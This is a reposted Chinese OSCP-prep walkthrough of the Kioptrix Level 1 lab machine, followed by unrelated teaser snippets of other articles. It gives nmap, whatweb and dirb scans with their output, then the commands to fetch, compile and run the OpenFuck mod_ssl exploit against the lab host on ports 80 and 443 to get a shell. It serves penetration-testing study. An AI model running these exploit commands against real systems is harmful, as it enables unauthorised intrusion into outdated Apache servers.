oscp备考 oscp系列——Kioptix Level 1靶场 古老的 Apache Vuln

news2025/1/9 16:51:35

目录

前言

1. 主机发现

2. 端口扫描

3. 指纹识别

4. 目录扫描

5. 漏洞搜索和利用


前言

oscp备考,oscp系列——Kioptix Level 1靶场 Kioptix Level 1难度为简单靶场,主要考察

  • nmap的使用已经是否会看输出,以及是否会通过应用查找对应漏洞

  • 主要有mod_ssl低版本的getshell漏洞和samba的溢出getshell漏洞(CVE-2007-2447)

  • nmap不能探测出samba版本,需要使用msf的smb_version进行探测

下载地址:

https://pan.quark.cn/s/f089a166724f

1. 主机发现

nmap -sP 192.168.139.0/24

-sP 参数是 nmap 的一个选项,用于执行 ping 扫描(Ping Sweep)。这种扫描类型会发送 ICMP ECHO_REQUEST 包(ping 请求)到指定的目标地址,以确定哪些主机是活动的(即在线的)。它不会对目标主机的端口进行扫描,只是检查主机是否在线

靶机信息

IP地址:192.168.139.200 Mac地址:00:0c:29:15:78:e4

2. 端口扫描

nmap -sT -sV 192.168.139.200
  1. -sT:这个参数指定进行 TCP 连接扫描(TCP Connect Scan)。这种扫描类型会尝试对目标主机的每个指定端口建立一个完整的 TCP 连接。如果连接成功,那么该端口被认为是开放的。

  2. -sV:这个参数用于版本侦测(Version Detection)。Nmap 会尝试确定目标主机上开放的端口上运行的服务的版本信息。

  3. -sS 参数在 Nmap 中用于执行 SYN 扫描,这是一种 TCP 扫描技术,也被称为半开放扫描。在 SYN 扫描中,Nmap 发送一个 SYN 包到目标端口,如果收到一个 SYN-ACK 响应,表示端口是开放的;如果收到一个 RST(重置)包,表示端口是关闭的。Nmap 不会发送 ACK 包来完成 TCP 三次握手,因此不会在目标主机上建立完整的连接。

这种扫描方式的优势在于:

  1. 快速:由于不需要完成完整的 TCP 连接,SYN 扫描可以更快地扫描大量端口。

  2. 隐蔽:SYN 扫描不会在目标主机上留下完整的连接记录,因此不太可能被目标主机上的应用程序察觉。

  3. 防火墙友好:SYN 扫描可以穿过一些只允许出站连接的防火墙,因为它们不需要目标主机发送入站数据。

-p:22.80,111,139,443.1024:指定扫描这些端口,

涵盖常见服务对应的端口,像SSH、HTTP等服务端口。

-sV:探测端口上服务的具体版本。

-sC:运行默认脚本扫描,检测相关安全情况等。

-O:探测目标主机运行的操作系统类型

端口22和端口80开放

访问80端口 随便点点 发现不断提示redhat

根据扫出来的端口进行漏洞探测

nmap 192.168.139.200 -p 22,80,111,139,443,1024 -oA 1.txt --script=vuln
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-20 13:41 CST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.139.200
Host is up (0.00054s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-trace: TRACE is enabled
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
|   /test.php: Test page
|   /icons/: Potentially interesting directory w/ listing on 'apache/1.3.20'
|   /manual/: Potentially interesting directory w/ listing on 'apache/1.3.20'
|_  /usage/: Potentially interesting folder
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
443/tcp  open  https
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
| ssl-ccs-injection:
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.

3. 指纹识别

whatweb -v

WhatWeb report for http://192.168.139.200
Status    : 200 OK
Title     : Test Page for the Apache Web Server on Red Hat Linux
IP        : 192.168.139.200
Country   : RESERVED, ZZ

Summary   : Apache[1.3.20][mod_ssl/2.8.4], Email[webmaster@example.com], HTTPServer[Red Hat Linux][Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 Ope          nSSL/0.9.6b], OpenSSL[0.9.6b]

Detected Plugins:
[ Apache ]
        The Apache HTTP Server Project is an effort to develop and
        maintain an open-source HTTP server for modern operating
        systems including UNIX and Windows NT. The goal of this
        project is to provide a secure, efficient and extensible
        server that provides HTTP services in sync with the current
        HTTP standards.

        Version      : 1.3.20 (from HTTP Server Header)
        Module       : mod_ssl/2.8.4
        Google Dorks: (3)
        Website     : http://httpd.apache.org/

[ Email ]
        Extract email addresses. Find valid email address and
        syntactically invalid email addresses from mailto: link
        tags. We match syntactically invalid links containing
        mailto: to catch anti-spam email addresses, eg. bob at
        gmail.com. This uses the simplified email regular
        expression from
        http://www.regular-expressions.info/email.html for valid
        email address matching.

        String       : webmaster@example.com

[ HTTPServer ]
        HTTP server header string. This plugin also attempts to
        identify the operating system from the server header.

        OS           : Red Hat Linux
        String       : Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b (from server string)

[ OpenSSL ]
        The OpenSSL Project is a collaborative effort to develop a
        robust, commercial-grade, full-featured, and Open Source
        toolkit implementing the Secure Sockets Layer (SSL v2/v3)
        and Transport Layer Security (TLS v1) protocols as well as
        a full-strength general purpose cryptography library.

        Version      : 0.9.6b
        Website     : http://www.openssl.org/

HTTP Headers:
        HTTP/1.1 200 OK
        Date: Fri, 20 Dec 2024 06:20:47 GMT
        Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
        Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT
        ETag: "8805-b4a-3b96e9ae"
        Accept-Ranges: bytes
        Content-Length: 2890
        Connection: close
        Content-Type: text/html

4. 目录扫描

dirb

dirb http://192.168.139.200

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Dec 20 13:27:58 2024
URL_BASE: http://192.168.139.200/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.139.200/ ----
+ http://192.168.139.200/~operator (CODE:403|SIZE:273)
+ http://192.168.139.200/~root (CODE:403|SIZE:269)
+ http://192.168.139.200/cgi-bin/ (CODE:403|SIZE:272)
+ http://192.168.139.200/index.html (CODE:200|SIZE:2890)
==> DIRECTORY: http://192.168.139.200/manual/
==> DIRECTORY: http://192.168.139.200/mrtg/
==> DIRECTORY: http://192.168.139.200/usage/

---- Entering directory: http://192.168.139.200/manual/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.139.200/mrtg/ ----
+ http://192.168.139.200/mrtg/index.html (CODE:200|SIZE:17318)

---- Entering directory: http://192.168.139.200/usage/ ----
+ http://192.168.139.200/usage/index.html (CODE:200|SIZE:4279)

-----------------
END_TIME: Fri Dec 20 13:28:30 2024
DOWNLOADED: 13836 - FOUND: 6

目录

http://192.168.139.200/usage/index.html
http://192.168.139.200/usage/
http://192.168.139.200/mrtg/
http://192.168.139.200/manual/

manual目录下有mod_ssl

/manual/mod/mod_ssl/ 目录下有版本号

根据官网提示和信息收集 多次提到appache的redhat

(Red-Hat/Linux) mod_ssl/2.8.4

5. 漏洞搜索和利用

searchsploit搜索 mod_ssl 2.8.4

根据版本号有三个poc

经过尝试第三个可以利用

searchsploit -p 47080查找 漏洞路径和url

这里提示编译需要使用命令:gcc -o OpenFuck OpenFuck.c -lcrypto

下载OpenFuck.c并安装libssl-dev

git clone https://github.com/heltonWernik/Openluck

下载完 进入Openluck目录,进行编译 编译不成功

执行“./OpenFuck”命令,即可获得该执行文件的使用说明。

根据目标主机的操作系统、Apache版本不同选择不同参数,由上述信息收集可知,目标主机运行着RedHat Linux系统,Apache版本1.3.20,满足该条件的参数有两个,分别是0x6a和0x6b。

依次执行命令

./OpenFuck 0x6a 192.168.139.200 80 -c 50
./OpenFuck 0x6b 192.168.139.200 80 -c 50
./OpenFuck 0x6a 192.168.139.200 443 -c 50
./OpenFuck 0x6b 192.168.139.200 443 -c 50

最后一个才成功提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2273899.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

git的rebase和merge的区别?

B分支从A分支拉出 1.git merge 处于A分支执行,git merge B分支:相当于将commit X、commit Y两次提交,作为了新的commit Z提交到了A分支上。能溯源它真正提交的信息。 2.git rebase 处于B分支,执行git rebase A分支,B分支那边复…

ansible-性能优化

一. 简述: 搞过运维自动化工具的人,肯定会发现很多运维伙伴们经常用saltstack和ansible做比较,单从执行效率上来说,ansible确实比不上saltstack(ansible使用的是ssh,salt使用的是zeromq消息队列[暂没深入了解]),但其实…

Pytest钩子函数,测试框架动态切换测试环境

在软件测试中,测试环境的切换是个令人头疼的问题。不同环境的配置不同,如何高效切换测试环境成为许多测试开发人员关注的重点。你是否希望在运行测试用例时,能够动态选择测试环境,而不是繁琐地手动修改配置? Pytest 测…

【RK3568笔记】Android修改开机动画

概述 Android 的开机动画是由一系列连续的 PNG 图片作为帧组成的动画形式,不是一张 GIF 图片。将各帧 PNG 图片以压缩方式进行保存(压缩方式要求是存储压缩),并将保存的文件名命名为 bootanimation.zip,这个 bootanim…

华为路由器、交换机、AC、新版本开局远程登录那些坑(Telnet、SSH/HTTP避坑指南)

关于华为设备远程登录配置开启的通用习惯1、HTTP/HTTPS相关服务 http secure-server enablehttp server enable 2、Telnet服务telnet server enable3、SSH服务stelnet server enablessh user admin authentication-type password 「模拟器、工具合集」复制整段内容 链接&…

spring boot学习第二十三篇:Spring Boot集成RocketMQ

前置条件先安装好RocketMQ 希望在Window10安装rocketMQ并简单使用&#xff0c;可以参考如下文章&#xff1a; Window10安装rocketMQ并简单使用-CSDN博客 1、pom.xml文件里面加上依赖 <dependency><groupId>org.apache.rocketmq</groupId><artifactId&…

花生好坏缺陷识别数据集,7262张图片,支持yolo,coco json,pasical voc xml格式的标注,识别准确率在95.7%

花生好坏缺陷识别数据集,7262张图片&#xff0c;支持yolo&#xff0c;coco json&#xff0c;pasical voc xml格式的标注&#xff0c;识别准确率在95.7% 数据集分割 训练组87&#xff05; 6353图片 有效集8% 606图片 测试集4% 303图片 预处理 自动定…

在JavaScript开发中,如何判断对象自身为空?

前言 如何判断一个对象为空是我们在开发中经常会遇到的问题&#xff0c;今天我们来聊聊几种经常使用的方法&#xff0c;以及在不同的场景下我们如何去使用。 1. JSON.stringify JSON.stringify 方法可以使对象序列化&#xff0c;转为相应的 JSON 格式。 const obj {};cons…

现场展示deepseek VS openAI o1模型大对比

DeepSeek-V3 模型的发布在 AI 领域引起了广泛关注。作为一款拥有 6850 亿参数的混合专家&#xff08;MoE&#xff09;语言模型&#xff0c;DeepSeek-V3 在多个基准测试中表现出色&#xff0c;甚至超越了一些闭源模型。其在 Aider 代码能力排行榜上的正确率达到 48.4%&#xff0…

2010年IMO几何预选题第1题

在 △ A B C \triangle ABC △ABC 中, A D AD AD, B E BE BE, C F CF CF 为三条高线, 延长 E F EF EF 交 ( A B C ) (ABC) (ABC) 于 P P P, 延长 D F DF DF, B P BP BP 交于 Q Q Q. 求证: A P A Q APAQ APAQ. 证明: 设 D F DF DF 交 ( A P F ) (APF) (APF) 于点 …

SOLID原则学习,单一职责原则(Single Responsibility Principle)

文章目录 1. 定义2. 核心思想3. 优点4. 总结 1. 定义 单一职责原则是面向对象设计中的五大原则&#xff08;SOLID&#xff09;之一&#xff0c;由Robert C. Martin提出。它指出一个类应该只有一个引起它变化的原因&#xff0c;即一个类应该只负责一项职责。 2. 核心思想 职责…

对快速由表及里说拜拜/如何正确运用由表及里

你是不是还&#xff1a;看到一男子拖走一女子就以为小情侣吵架而已&#xff08;可能人贩子&#xff09;&#xff1b;看到男友对你好个几次就从此死心塌地&#xff08;可能有手就行&#xff0c;细节装装而已&#xff09;结果耽误终身&#xff1b;看到女同事对你微笑不排斥就以为…

【算法】八大排序算法

这篇文章是对数据结构中 八大经典排序算法 的详解&#xff0c;包括其原理、实现过程、时间复杂度、空间复杂度及其适用场景。最后两种排序不常见&#xff0c;但仍收录了进来保持文章结构的完整性。 排序(Sort)是将无序的记录序列&#xff08;或称文件&#xff09;调整成有序的…

【学习笔记】数据结构(十一)

外部排序 文章目录 外部排序11.1 外存信息的存取11.2 外部排序的方法11.3 多路平衡归并的实现 - 增加k11.4 置换-选择排序 - 减少m11.5 最佳归并树 外部排序 指的是大文件的排序&#xff0c;即待排序的记录存储在外存储器 上&#xff0c;在排序过程中需进行多次的内、外存之间的…

基于 Python 自动化接口测试(踩坑与实践)

文档&#xff1a;基于 Python 的自动化接口测试 目录 背景问题描述与解决思路核心代码修改点及其详细解释最终测试结果后续优化建议 1. 问题背景 本项目旨在使用 Python 模拟浏览器的请求行为&#xff0c;测试文章分页接口的可用性。测试目标接口如下&#xff1a; bashcoder…

单片机-外部中断

中断是指 CPU 在处理某一事件 A 时&#xff0c;发生了另一事件 B&#xff0c;请求 CPU 迅速去处理(中断发生)&#xff1b;CPU 暂时停止当前的工作(中断响应)&#xff0c; 转去处理事件 B(中断服务)&#xff1b;待 CPU 将事件 B 处理完毕后&#xff0c;再回到原来事件 A 被中断的…

vite5.x配置https

旧版的vite直接在config里面配置https&#xff1a;true即可&#xff0c;新版的麻烦一些。 1.准备工作 需要安装openssl 下载地址&#xff1a;Win32/Win64 OpenSSL Installer for Windows - Shining Light Productions 找到合适的版本安装&#xff0c;配置好环境变量&#x…

Clip Studio Paint 报错:Running on unsupported Os. Clip Studio Paint will close.

问题描述 启动 Clip Studio Paint 报错&#xff1a;Running on unsupported Os. Clip Studio Paint will close. 原因 Clip Studio Paint 锁区&#xff0c;系统是中国大陆的无法使用。 解决方式 打开系统设置 时间和语言- 区域- 区域格式- 简体中文&#xff08;新加坡&am…

vue2/vue3中使用的富文本编辑器vue-quill

前言&#xff1a; 整理下常用的富文本编辑器工具。 vue3: 实现效果&#xff1a; 实现步骤&#xff1a; 1、安装插件&#xff0c; 编辑器核心插件 vueup/vue-quill yarn add pnpm i npm i cnpm i vueup/vue-quill vueup/vue-quill 2、安装选择性插件 &am…

Vscode 如何使用GitHub Copilot

一、“GitHub Copilot”进行登录 前提必须有github账号&#xff0c;如果没有就注册一个&#xff1b; 系统会提示您输入 GitHub 凭据。单击“登录 GitHub”&#xff0c;然后单击“允许”并输入您的 GitHub 凭据。 登录成功后&#xff1a; 二、 GitHub Copilot功能 1、预测代码 …